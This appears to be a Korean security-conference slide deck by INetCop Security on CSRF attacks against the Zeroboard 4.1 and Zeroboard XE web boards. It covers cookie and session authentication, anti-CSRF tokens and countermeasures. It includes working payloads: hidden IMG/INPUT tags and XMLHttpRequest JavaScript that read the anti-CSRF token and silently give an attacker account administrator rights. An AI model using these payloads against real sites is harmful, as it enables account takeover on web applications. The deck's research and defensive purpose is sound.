



# **Web 2.0 CSRF exploitation (web-board case study)**

*Bypassing Security Token based Anti-CSRF &  
Zero board XE -1day Remote exploit*

# 유 동 훈 - Xpl017Elz (x82)

- INetCop Security 연구소장

- <http://x82.inetcop.org> 운영

## - 연구 분야

- \* 웹 어플리케이션 취약점
- \* 시스템 어플리케이션 취약점
- \* 시스템 커널, 라이브러리 취약점
- \* 어플리케이션 취약점 소스 코드 분석
- \* Proof-of-Concept exploit code 개발

## - 경력

- \* WOKSDOME global hacking competition prize
- \* The 1<sup>st</sup> KJIST SeeCure-CSRL Hacking Festival prize
- \* 해외 보안 회사 Snosoft의 보안 권고문 검증 업무
- \* Small buffer format string attack paper 해외 발표
- \* Advanced exploitation in exec-shield paper 해외 발표





# 1. Introduction

*What made CSRF exploit rearise?*

# 1-1. 용어 설명

## - 1세대 웹(Web 1.0) (End 유저 기준)

사용자에게 게시된 정보를 인터넷으로 제공하는 고전적인 웹 서비스. 클라이언트가 서버에서 제공하는 서비스만 받을 수 있음. (Blog와 같은 개념이 태어나기 전 게시판 형태의 웹 서비스)

## - 2세대 웹(Web 2.0) (End 유저 기준)

사용자 참여 중심의 인터넷 환경을 뜻하며 최근 새로운 개념으로 정립. 사용자가 직접 데이터를 다룰 수 있음. (Blog, Wiki 등의 사용자 참여형 웹 서비스)

## - 1세대 웹과 2세대 웹의 구분 (프로그래머 기준)

AJAX 탄생. 그 전과 후

## - 웹(Web) 2.0 해킹

사용자의 웹 브라우저 환경을 이용하는 다양한 웹 해킹 공격을 뜻함. 대부분 기존 클라이언트를 대상으로 하는 웹 해킹 기법과 개념은 동일하나, 용어적인 차이와 방법론의 차이를 가지고 있음.

# 1-2. Cookie 인증

## - Cookie 인증

- 1) 웹 사이트가 클라이언트 사용자를 인증하는데 있어서 대중적으로 사용하는 인증의 한 방식.
- 2) Netscape 사에서 처음 개발 되었음. (RFC 2109)
- 3) DB에 지속적인 인증 요청을 필요로 하지 않으므로 서버의 성능 향상
- 4) 클라이언트 PC에 Cookie 정보가 저장되므로 정보 노출에 의한 인증 취약점 발생

## - Cookie 발급 과정:

- 1) 사용자 인증 요청

```
Id=test&pass=password (클라이언트 요청 메시지 데이터)
```

- 2) Database 검색을 통해 올바른 사용자인지 여부를 판단

```
Select * from user_db where id='$id' and pass='$pass'(MySQL DB의 예)
```

- 3) 올바른 사용자인 경우, Cookie 데이터(데이터 값이 큰 경우 DB에 저장)를 사용자에게 발급

```
Set-Cookie: user cookie data; (서버 응답 메시지 헤더)
```

- 4) 지속적인 접속 유지를 위해 사용자 브라우저가 Cookie 파일을 사용자 시스템에 저장

```
C:\Documents and Settings\사용자\Cookies (Windows XP 기준)
```

- 5) 다음 요청부터 발급받은 Cookie 데이터를 통해 정보를 요청

```
Cookie: user cookie data; (클라이언트 요청 메시지 헤더)
```

# 1-3. Session 인증

## - Session 인증

- 1) 사전적 의미로는 어떤 특별한 목적으로 사용자에게 의해 점유되는 일정 시간을 뜻함.
- 2) 인증 제공 방식은 Cookie 인증 방식과 동일하나 휘발성 데이터 형태로 발급.
- 3) 보안 성 향상 (Cookie가 사용자 PC 내에 저장되는 것과 달리 Session 데이터는 서버에 저장)
- 4) 클라이언트 PC에는 데이터가 포함되지 않은 Session 키 이름만 발급하여 인증 제공

## - Session 발급 과정:

- 1) 사용자 인증 요청

```
id=test&pass=password (클라이언트 요청 메시지 데이터)
```

- 2) Database 검색을 통해 올바른 사용자인지 여부를 판단

```
Select * from user_db where id='$id' and pass='$pass'(MySQL DB의 예)
```

- 3) 올바른 사용자인 경우, 서버 웹 어플리케이션이 Session 파일을 서버 시스템에 저장

```
/tmp/sess_세션 키 이름 (PHP session_start() 함수 기준)
```

- 4) 지속적인 접속 유지를 위해 저장된 Session Key 이름을 사용자에게 발급

```
Set-Cookie: user session key name; (서버 응답 메시지 헤더)
```

- 5) 다음 요청부터 발급받은 Session Key 이름을 통해 정보를 요청

```
Cookie: user session key name; (클라이언트 요청 메시지 헤더)
```

# 1-4. 웹 해킹 기법의 발전 형태

## - Cookie Spoofing 취약점

인증 설정상 오류를 악용한 Cookie 해킹의 한 종류. Cookie 내의 예측하기 쉬운 데이터 정보를 속여 본래 권한 외의 접근 수행이 가능.

## - Cookie Sniffing 취약점

여러 가지 다양한 방법을 동원하여 타인의 Cookie 데이터를 가로채는 해킹 기법. 가로챈 Cookie 데이터를 이용하여 본래 권한 외의 접근 수행이 가능.

## - XSS (Cross site script) 공격 기법

취약한 웹 페이지를 이용하여 Cookie, Session sniffing 코드를 포함한 URL 또는 이미지 링크 등을 사용자에게 노출시켜 클라이언트 브라우저 내의 데이터를 얻어오는 류의 해킹 기법. 해당 기법을 이용하면 사용자의 Cookie 데이터를 획득하여 인증 우회 및 인증 무력화 공격을 시도할 수 있음.

## - CSRF (Cross site Request Forgeries) 공격 기법

취약한 웹 페이지를 이용하여 권한을 도용하는 가짜 요청 문을 클라이언트의 웹 브라우저 상에서 실행되도록 유도하는 해킹 기법. 해당 기법을 이용하면 타인의 권한으로 원하는 HTTP 요청 문을 수행할 수 있음.

## - XST (Cross site Tracing) 공격 기법

웹 서버의 TRACE method 특성을 이용하여 접근이 불가능한 Cookie 데이터를 얻어오는 해킹 기법.

# 1-5. 보안이 강화된 인증 기법

## - HttpOnly 쿠키 인증 기법

클라이언트 웹 브라우저가 Javascript를 통해 cookie에 접근하지 못하도록 제어하여 취약점을 차단하는 방법. MS 사의 IE6 SP1 웹 브라우저부터 지원된 이 보안 정책은 XSS 공격을 차단하기 위한 프로젝트의 일환으로 보다 안전한 cookie 데이터를 생성할 수 있다.

(참고 자료: Mitigating Cross-site Scripting With HTTP-only Cookies. MSDN Library.  
<http://msdn.microsoft.com/en-us/library/ms533046.aspx>)

## - HttpOnly 쿠키 무력화 기법: XST (Cross site Tracing) 공격

과거에는 XHR (XMLHttpRequest)를 이용한 XST 공격이 가능했다. 그러나 2007년 08월 MS 보안 업데이트가 적용된 이후부터는 공격이 주춤한 상태이다. 그 이유는 XMLHttpRequest.open() 함수가 TRACE method를 지원하지 않도록 변경되면서 공격이 어려워졌기 때문이다.

(참고 자료: Cross-Site Tracing (XST). Jeremiah Grossman. Jan 20 2003)

(참고 자료: XS(T) attack variants which can, in some cases, eliminate the need for TRACE.  
Amit Klein. Jan 26 2003)

(참고 자료: XST Strikes Back. Amit Klein. Jan 25 2006 )

# 1-5. 보안이 강화된 인증 기법

## - 사용자 로그인 IP 체크 기법

사용자의 로그인 인증 시 IP를 세션 데이터에 기록한 후 서비스 페이지에 접속한 IP와 비교하여 다른 IP의 접속이 시도되었을 경우 이를 차단하고 Session을 소멸시키는 방법. 현재 국내 몇몇 웹 메일에 적용된 상태이며 웹 게시판 중에는 제로보드 시스템이 이러한 IP 체크 기능을 보안 인증으로 사용하고 있다.

(장점: Cookie Spoofing, Cookie Sniffing, XSS 공격 시도■ 차단할 수 있음.)

## - 사용자 로그인 IP 체크 기법: CSRF (Cross site Request Forgeries) 공격

매 서비스 페이지마다 접속한 IP와 비교하므로 XSS 기법으로 페이지에 접근하는 것은 불가능하다. 이러한 보안 인증을 우회하기 위해 가짜 요청 문을 클라이언트의 웹 브라우저 상에서 실행시킬 수 있는 CSRF 기법이 재활용 되었다.

(참고 자료: Zeroboard IP session bypass XSS vulnerability. INetCop Security. Mar 12 2006  
<http://x82.inetcop.org/home/adv1sor1es/INCSA.2006-0x82-029-zeroboard.txt>)



## **2. Web 1.0 CSRF exploitation**

*Why need CSRF exploit?*

## 2. Web 1.0 CSRF 공격 기법

### - CSRF (Cross site Request Forgeries) 공격의 역사

현재 Cross Site Reference Forgery, Session Riding, Sea Surf, iframe exploit 등 그 밖에 다양한 이름으로 불리고 있으나 2001년도에 처음으로 발표된 자료에 명시된 정식 명칭은 Cross site Request Forgeries 이다. 해당 명칭을 약자로 줄여 CSRF 또는 XSRF로 부르고 있다.

**Cross-Site Request Forgeries (sea surf). Peter W. Jun 13 2001.**

**Session Riding. Thomas Schreiber. Dec 2004.**

**Cross Site Reference Forgery. Jesse Burns (iSec). 2005.**

**MySpace CSRF/XSS Samy worm. 2005.**

**Zeroboard 4.1 pl7 iframe exploit. INetCop Security. Mar 12 2006.**

**CSRF added as A5 on the OWASP Top 10. OWASP. 2007.**

**auction.co.kr – Chinese Hacker steals user information on 18 MILLION. Feb 12 2008.**

## 2. Web 1.0 CSRF 공격 기법

### - CSRF (Cross site Request Forgeries) 공격 원리

제로보드 4.1의 관리자 기능 중 게시판에 가입된 일반 사용자의 권한을 관리자로 변경하는 POST 요청 문이 다음과 같다고 가정하자.

(참고로, 실제 제로보드 4.1의 요청 문은 multipart/form-data 형식으로 넘어감)

admin 회원 설정 변경	
아이디	test (2008년 02월 26일 20시 54분에 가입)
비밀번호	<input type="text"/> 확인 : <input type="text"/>
관리자 레벨	일반사용자 (관리자 레벨은 일반 레벨에 우선합니다)
레벨	9
이름	test
게시판 관리자 지정	게시판관리자 지정 <input type="button" value="게시판 관리 권한 추가"/>
E-mail	mail@mail.com
홈페이지	<input type="text"/>

**POST** http://zb.inetcop.org/bbs/admin\_setup.php HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: http://zb.inetcop.org

Content-Length: ...

Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4;

exec=view\_member&exec2=modify\_member\_ok&group\_no=1&member\_no=2&is\_admin=1&level=1&name=test&email=name@addr.com&comment=test

## 2. Web 1.0 CSRF 공격 기법

### - CSRF (Cross site Request Forgeries) 공격 원리

앞서 POST 요청 문은 member\_no 값이 2인 test 사용자를 관리자 권한으로 (is\_admin을 1로 설정, level을 1로 설정) 설정한다. 해당 요청 문을 사용자 브라우저 내에서 몰래 실행할 수 있도록 GET method 동작 코드를 만들면 다음과 같다. (<IMG> 태그나 <IFRAME>, <SCRIPT> 태그를 이용하여 공격 코드 작성이 가능함)

```
<IMG src='http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member&
exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1&
name=test&email=name@addr.com&comment=test' width=0 height=0>
```

이렇게 작성된 IMG 태그(GET 요청 문)를 관리자의 웹 브라우저에서 실행하기 위해 관리자에게 쪽지를 보낼 때 삽입하거나 게시 글에 숨겨 공격을 시도할 수 있다. 실제 전달되는 GET 요청 문은 다음과 같을 것이다.

```
GET http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member&
exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1&
name=test&email=name@addr.com&comment=test HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: http://zb.inetcop.org
Content-Length: ...
Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4;
```

## 2. Web 1.0 CSRF 공격 기법

### - CSRF (Cross site Request Forgeries) 공격 순서

- 1) 권한 수행 시 웹 서버로 전달되는 요청 문을 추출한다.
- 2) 추출한 요청 문을 <IMG> 태그나 <IFRAME> 태그로 재구성한다.
- 3) 작성한 공격 태그를 원하는 클라이언트 브라우저에서 실행될 수 있도록 대상 사용자의 접근을 유도한다.
- 4) 사용자가 공격 태그를 브라우저에서 실행시키면 해커가 원하는 요청 문이 수행된다.
- 5) Cookie나 Session Key에 대한 직접적인 접근 없이도 악의적인 해커에게 권한이 넘어간다.

### - CSRF (Cross site Request Forgeries) 공격 대상

인증이 구현된 모든 웹. (웹 게시판, 블로그, 카페, 웹 메일, 웹 쇼핑몰, 검색 엔진 등...)  
차후 각종 SPAM 공격, 관리자 권한 획득, 검색 순위 조작, 워 바이러스 등으로 악용될  
소지가 매우 높다. (또한, 웹 인터페이스를 지원하는 라우터, 공유기 해킹에도 사용됨)

## 2. Web 1.0 CSRF 공격 기법

### - 실제 CSRF (Cross site Request Forgeries) 공격

제로보드 4.1 pl8 게시판은 IP 체크 보안 기능이 활성화 되어 있어 XSS 공격을 시도하기 어렵다. 다음 코드는 로그인 후 세션을 처리하는 /bbs/login\_check.asp 코드 내용 중 일부이다.

```
25     if($member_data[no]) {
26
27         if($auto_login) {
28             makeZBSessionID($member_data[no]);
29         }
30
31         // 4.0x 용 세션 처리
32         $zb_logged_no = $member_data[no];
33         $zb_logged_time = time();
34         $zb_logged_ip = $REMOTE_ADDR; <- 로그인 시, IP 기록
35         $zb_last_connect_check = '0';
```

위와 같이 로그인 시 session 데이터에 기록한 IP 주소는 서비스 페이지 접속 IP와 비교하여 다를 경우 session key를 소멸시킨다. 다음 코드는 해당 역할을 수행하는 /bbs/lib.php 코드 내용 중 일부이다.

```
97     // 로그인 시간이 지정된 시간을 넘었거나 로그인 아이피가 현재 사용자의 아이피와
98     // 다를 경우 로그아웃 시킴
99     if(time()-$HTTP_SESSION_VARS["zb_logged_time"]>$_zbDefaultSetup["login_time"]||
100    $HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR) {
101
102         $zb_logged_no="";
103         $zb_logged_time="";
104         $zb_logged_ip=""; <- 세션 초기화
105         session_register("zb_logged_no");
```



# **- Demonstration of Web 1.0 CSRF exploitation -**

*Zero board 4.1 pl8 -1day Remote POC exploit  
(0x82-zer04.1pl8\_CSRF.c)*



# **3. Anti-CSRF Protection**

*Security Token based Anti-CSRF Protection*

# 3. Anti-CSRF 보안 기법

## - CSRF protection (anti-CSRF) 기법 소개

### 1) POST method only

공격을 어렵게 하기 위해 모든 요청을 POST만 사용하도록 권고했지만 CSRF를 차단할 수 있는 방법은 아니다.

### 2) Referer 체크

과거에는 매우 효과적인 방어 기법이였다. 그러나 Referer 역시 조작이 가능하다는 사실이 밝혀지면서 완벽한 차단이 힘들어졌다.

(참고 자료: Exploiting the XmlHttpRequest object in IE - Referrer spoofing. Amit Klein. Sep 24 2005)

(참고 자료: Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0). Amit Klein. Aug 16 2006)

(참고 자료: HTTP Header Injection Vulnerabilities in the Flash Player Plugin. Rapid7. Oct 17 2006)

### 3) One time authorization Security Token 사용

Peter W가 제안했던 것처럼 action이 필요한 모든 서비스 페이지에 Security Token을 넣어 확인하는 방법이다. 이 기술은 현재 안전한 보안 방법으로 널리 알려져 있는 편이다.

(참고 자료: Security Corner: Cross-Site Request Forgeries. Chris Shiflett. Dec 13 2004)

(참고 자료: Cross Site Reference Forgery. Jesse Burns (iSec). 2005)

# 3. Anti-CSRF 보안 기법

## - One time authorization Security Token 보안 원리

Chris Shiflett의 Token 코딩 예제를 보면 매우 쉽게 이해할 수 있다. Action이 수행되는 모든 서비스 페이지에 추가하여 CSRF에 보다 안전한 웹 페이지를 만들 수 있다.

```
<? // PHP 예제
session_start();
$tokn=md5(uniqid(rand(),true)); // 매번 random 하게 생성된 보안 인증 토큰
$_SESSION['tokn']=$tokn;
...
?>
<form action='action.php' method='post'>
<input type='hidden' name='tokn' value='<? echo $tokn ?>'>
...
```

Action이 수행되는 form에 random하게 생성된 Security Token이 POST로 넘어오도록 구성한다. 정보를 입력 받는 페이지에서는 넘어온 토큰이 유효한지 검사하는 루틴을 추가한다.

```
<?
session_start();
if(isset($_SESSION['tokn'])&&$_POST['tokn']==$_SESSION['tokn']){
... 정상 루틴 수행 ...
}
else echo "토큰 값 오류";
?>
```

# 3. Anti-CSRF 보안 기법

- One time authorization Security Token 보안 솔루션 소개

## 1) Anti-CSRF 루틴 예제

<http://www.t3-design.com/tag/anti-csrf/>

<http://rgaucher.info/post/2007/08/08/Anti-CSRF-and-static-pages>

[http://www.businessinfo.co.uk/labs/csrf\\_defend/csrf\\_demos.php](http://www.businessinfo.co.uk/labs/csrf_defend/csrf_demos.php)

## 2) Anti-CSRF 솔루션

CSRF Killer - <http://activereload.net/2007/3/6/your-requests-are-safe-with-us>

CSRF Guard - [http://www.owasp.org/index.php/CSRF\\_Guard](http://www.owasp.org/index.php/CSRF_Guard)



# 4. Anti-CSRF Protection bypass!

*Bypass Security Token based Anti-CSRF Protection*

## 4. Anti-CSRF 우회 공격 기법

### - Anti-CSRF 우회 공격의 원리

다음과 같이 제로보드 4.1 게시판에 Anti-CSRF One time Security Token을 추가하였다. 이렇게 Security Token이 추가된 웹 어플리케이션은 고전적인 CSRF 기법으로는 공격하기 어렵다.

```
...  
<form name=write method=post action=/bbs/admin_setup.php ...submit();">  
<input type=hidden name=exec value=view_member>  
<input type=hidden name=exec2 value=modify_member_ok>  
<input type=hidden name=group_no value=1>  
<input type=hidden name=member_no value=2>  
<input type=hidden name=page value=1>  
<input type=hidden name=page_num value=10>  
<input type=hidden name=keykind value=>  
<input type=hidden name=keyword value=>  
<input type=hidden name=like value=>  
<input type=hidden name=token value=392373b9e18d11892451e38178fc6c74>  
...
```

앞서 공격과 같이 <IMG>, <IFRAME> 태그를 이용하여 공격을 시도할 경우, 매번 random 하게 변경되는 Security Token 값을 예측할 수 없으므로 exploit 자체가 불가능하다.

## 4. Anti-CSRF 우회 공격 기법

### - Anti-CSRF 우회 공격의 원리

Anti-CSRF 루틴을 우회하기 위해서는 AJAX의 XMLHTTP, XHR(XMLHttpRequest)가 필요하다. XHR를 이용하면 GET/POST method를 매우 편리하게 사용할 수 있다. 고전적인 CSRF exploit이 일방적으로 데이터를 보내기만 했다면, AJAX의 XHR를 이용한 Web 2.0 CSRF exploit은 데이터 통신이 가능하다.

```
...
var req = new ActiveXObject("Microsoft.XMLHTTP");
req.open("GET", "/bbs/admin_setup.php?exec=view_member&group_no=1&exec2=modify&no=2", false); // 매번 새롭게 생성되는 Security Token을 구함
req.send();
var token=req.responseText;
token=token.substring(token.indexOf("token value="));
token=token.substring(12,token.indexOf(">")); // Security Token만 추출

var req = new ActiveXObject("Microsoft.XMLHTTP");
req.open("POST", "/bbs/admin_setup.php", false);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send("token="+token+"&exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1&name=exploit&email=name@mail.com&comment=test"); // POST 데이터에 앞서 얻은 Security Token을 추가해서 보냄
...
```

## 4. Anti-CSRF 우회 공격 기법

### - Anti-CSRF 우회 공격의 원리

실제 제로보드에 사용할 경우, <IMG> 태그 내에서 Javascript를 불러오면 공격 코드를 작성할 수 있다. 앞서 AJAX 공격 코드를 <IMG> 태그로 재 작성하여 완성된 exploit 코드는 다음과 같다.

```

```

이로써 Security Token이 매번 random 하게 변경되더라도 아무런 문제없이 exploit이 가능하다. AJAX를 이용한 Web 2.0 공격 코드는 이 밖에도 다양한 곳에 응용될 수 있을 것이다. (기존에 공격하기 어려웠던 Blind CSRF exploit이 가능함)



# **-Demonstration of Anti-CSRF bypass exploitation -**

*Zero board 4.1 pl8 (patch version) POC exploit  
(0x82-zer04.1pl8\_antiCSRFbypass.c)*



# 5. Web 2.0 CSRF exploitation!!

*Zeroboard XE XMLHTTP exploit*

## 5. Web 2.0 CSRF 공격 기법

### - 제로보드 XE CSRF (Cross site Request Forgeries) 공격

제로보드 XE 게시판 역시 4.1 게시판과 마찬가지로 IP 체크 보안 기능이 활성화 되어 있어 XSS 공격을 시도하기 어렵다. 다음 코드는 제로보드 XE 게시판에 로그인 후 세션을 처리하는 modules/member/member.controller.php 코드 내용 중 일부이다.

```
...
958      /**
959      * @brief 세션 정보 갱신 또는 생성
960      **/
961      function setSessionInfo($member_info = null) {
962          $oMemberModel = &getModel('member');
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985      // 로그인 처리를 위한 세션 설정
986      $_SESSION['is_logged'] = true;
987      $_SESSION['ipaddress'] = $_SERVER['REMOTE_ADDR'];
988      $_SESSION['member_srl'] = $member_info->member_srl;
989      $_SESSION['is_admin'] = false;
990
991
992
993
994
995
996
997
998
999
1000
...
```

참고로 \$\_SERVER['REMOTE\_ADDR'] 변수에는 자동적으로 웹 서버에 접속한 클라이언트의 IP가 저장되어 있다.

# 5. Web 2.0 CSRF 공격 기법

## - 제로보드 XE CSRF (Cross site Request Forgeries) 공격

앞서 로그인 시 session 데이터에 기록한 IP 주소는 서비스 페이지 접속 IP와 비교하여 다를 경우 session key를 소멸시킨다. 다음 코드들은 해당 역할을 수행하는 코드 내용 일부이다.

modules/member/member.model.php:

```
...
104     /**
105     * @brief 로그인 되어 있는지에 대한 체크
106     **/
107     function isLoggedIn() {
108         if($_SESSION['is_logged']&&
$_SESSION['ipaddress']==$_SERVER['REMOTE_ADDR']) return true;
109         $_SESSION['is_logged'] = false;
110         $_SESSION['logged_info'] = "";
111         return false;
112     }
...

```

modules/session/session.controller.php:

```
...
24     function write($session_key, $val) {
...
30         if($session_info->session_key == $session_key &&
$_SESSION['ipaddress'] != $_SERVER['REMOTE_ADDR']) {
31             executeQuery('session.deleteSession', $args);
32             return true;
33         }
...

```

# 5. Web 2.0 CSRF 공격 기법

## - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 원리

제로보드 XE의 관리자 기능 중 게시판에 가입된 일반 사용자의 권한을 관리자로 변경하는 POST 요청 문은 다음과 같다.

(참고로, 제로보드 XE의 POST 요청 문은 PHP XML Library로 인해 데이터가 XML 엘리먼트 형식으로 넘어감)

<a href="#">회원 목록</a> <a href="#">기본 설정</a> <a href="#">그룹 관리</a>	
기본 정보	
아이디	test
비밀번호	<input type="text"/>
이름	<input type="text" value="test"/> <small>이름은 2~20자 이내여야 합니다</small>
닉네임	<input type="text" value="test"/> <small>닉네임은 2~20자 이내여야 합니다</small>
이메일 주소	<input type="text" value="test@test.com"/>

```
POST http://zb.inetcop.org/~board/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: http://zb.inetcop.org
Content-Length: ...
Cookie: PHPSESSID=9be8b420cd6861ba7c1c4d5cc218f6db;
```

```
<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<member_srl><![CDATA[87]]></member_srl>
<user_id><![CDATA[test]]></user_id>
<is_admin><![CDATA[Y]]></is_admin>
<group_srl_list><![CDATA[1]]></group_srl_list>
...
```

## 5. Web 2.0 CSRF 공격 기법

### - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 원리

제로보드 XE는 XML 라이브러리 사용으로 인해 고전적인 CSRF 공격 기법을 시도할 수 없다. 그 이유는 XML 엘리먼트 형식으로 전달하는 공격 태그 작성이 힘들기 때문이다. 앞서 XML 형식의 요청 문을 사용자 브라우저 내에서 실행할 수 있도록 AJAX(XMLHTTP)로 작성한 코드는 다음과 같다.

```
...
var req=new XMLHttpRequest("Microsoft.XMLHTTP");
req.open("POST","/~board/",true);

req.send("<?xml version='1.0' encoding='utf-8' ?>\r\n<methodCall>\r\n<params>\r\n
<member_srl><![CDATA[87]]></member_srl>\r\n
<user_id><![CDATA[test]]></user_id>\r\n
<user_name><![CDATA[test]]></user_name>\r\n
<nick_name><![CDATA[test]]></nick_name>\r\n
<email_address><![CDATA[x0x@x0x.x0x]]></email_address>\r\n
<is_admin><![CDATA[Y]]></is_admin>\r\n
<group_srl_list><![CDATA[1]]></group_srl_list>\r\n
<module><![CDATA[member]]></module>\r\n
<act><![CDATA[procMemberAdminInsert]]></act>\r\n</params>\r\n</methodCall>");
...
```

위 요청 문을 살펴보면 <member\_srl> 값이 87인 test 사용자를 관리자 권한으로 (<is\_admin>을 Y로 설정, <group\_srl\_list>를 1로 설정) 설정하는 것을 볼 수 있다.

# 5. Web 2.0 CSRF 공격 기법

## - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 원리

앞서 AJAX 코드를 그대로 write할 경우, 오류가 발생한다. 그 이유는 CDATA 섹션을 통해 전달되는 데이터에 “]]>”와 같은 코드가 들어오기 때문인데 이는 다음과 같은 문제점이 발생한다.

정상적인 형식:

```
<content><![CDATA[게시물 내용]]></content>
```

비정상적인 형식:

```
<content><![CDATA[게시물 ]]> 내용]]></content>
```

위와 같이 요청하면 “]]>”를 CDATA 섹션의 끝으로 인식하면서 “게시물” 까지만 데이터로 인식하고 “]]>” 뒤의 “내용”이라는 데이터가 남게 되므로 엘리먼트는 엉망이 되어 버린다. 다음 공격 코드는 이러한 문제점을 말끔히 해결해줄 것이다.

```
<INPUT type=image width=0 height=0 dynsrc="javascript:var xmlhttp=new ActiveX Object('Microsoft.XMLHTTP');xmlhttp.open('POST','/~board/',true);xmlhttp.send(&#x22;<?xml version='1.0' encoding='utf-8' ?>\r\n<methodCall>\r\n<params>\r\n<member_srl><![CDATA[87]&#00013]></member_srl>\r\n<user_id><![CDATA[x0x]&#00013]></user_id>\r\n<user_name><![CDATA[x0x]&#00013]></user_name>\r\n<nick_name><![CDATA[x0x]&#00013]></nick_name>\r\n<email_address><![CDATA[x0x@x0x.x0x]&#00013]></email_address>\r\n<is_admin><![CDATA[Y]&#00013]></is_admin>\r\n<group_srl_list><![CDATA[1]&#00013]></group_srl_list>\r\n<module><![CDATA[member]&#00013]></module>\r\n<act><![CDATA[procMemberAdminInsert]&#00013]></act>\r\n</params>\r\n</methodCall>&#x22);">
```

문제점 해결을 위해 개행 문자 캐리지 리턴(CR) 코드를 10진수의 역추얼 캐릭터로 만들어 넣었다. 이렇게 역추얼 캐릭터를 통해 CDATA 섹션에 데이터를 입력할 경우 엘리먼트 형식이 망가지는 것을 방지할 수 있다.

# 5. Web 2.0 CSRF 공격 기법

## - Web 2.0 CSRF (Cross site Request Forgeries) 공격 순서

- 1) 권한 수행 시 웹 서버로 전달되는 요청 문을 추출한다.
- 2) 추출한 요청 문을 AJAX 코드(XMLHTTP)로 작성한다.
- 3) 작성한 공격 태그를 원하는 클라이언트 브라우저에서 실행될 수 있도록 대상 사용자의 접근을 유도한다.
- 4) 사용자가 공격 태그를 브라우저에서 실행시키면 해커가 원하는 요청 문이 수행된다.
- 5) Cookie나 Session Key에 대한 직접적인 접근 없이도 악의적인 해커에게 권한이 넘어간다.

## - Web 2.0 CSRF (Cross site Request Forgeries) 보안 방법

서비스 페이지 내에 권한을 사용하는 중요한 action에 대해서는 반드시 암호를 함께 입력하여 수행할 수 있도록 변경한다. (예: 사용자 정보 변경 기능, 탈퇴 기능, 관리자 정보 변경 기능, 관리자 권한 사용 기능 등)

\* 추가: CAPTCHA, reCAPTCHA, MAPTCHA, asirra ■ 통해 보안 적용이 가능.

## 5. Web 2.0 CSRF 보안 방법

관리자 고유권한	
Image Box 용량 지정	<input type="text" value="0"/> KByte 이미지 참고의 사용 용량을 지정해 줄수 있습니다.
마크 그림	<input type="checkbox"/> <input type="text"/> <input type="button" value="찾아보기..."/> * 정해진 회원의 이름 앞에만 나타나는 아이콘입니다. (GIF 파일만 가능합니다. 16x16px 정도로 해주세요)
이름 그림	<input type="checkbox"/> <input type="text"/> <input type="button" value="찾아보기..."/> * 정해진 회원의 이름을 대신해서 나타나는 아이콘입니다. 스킨에 따라서 오동작을 일으킬수 있으니 확인을 꼭 하여주세요 (GIF 파일만 가능합니다. 세로길이는 16px 정도로 해주세요)
Q: WHO IS HE? (NEW generation anti-CSRF technology)	 <p>* 힌트: 잘 생겨서 맞추기 쉬움. A: <input type="text"/></p>
<input type="button" value="변경 완료"/> <input type="button" value="변경 취소"/>	



# - Demonstration of Web 2.0 CSRF exploitation -

*Zero board XE -1day Remote POC exploit  
(0x82-zer0XE\_CSRF.c) + Bonus stage*



**- The End -**

*Thanks for listening.*

**By "dong-houn yoU" (Xpl017Elz), in INetCop(c).  
MSN & E-mail: szoahc(at)hotmail(dot)com  
Home: <http://x82.inetcop.org>**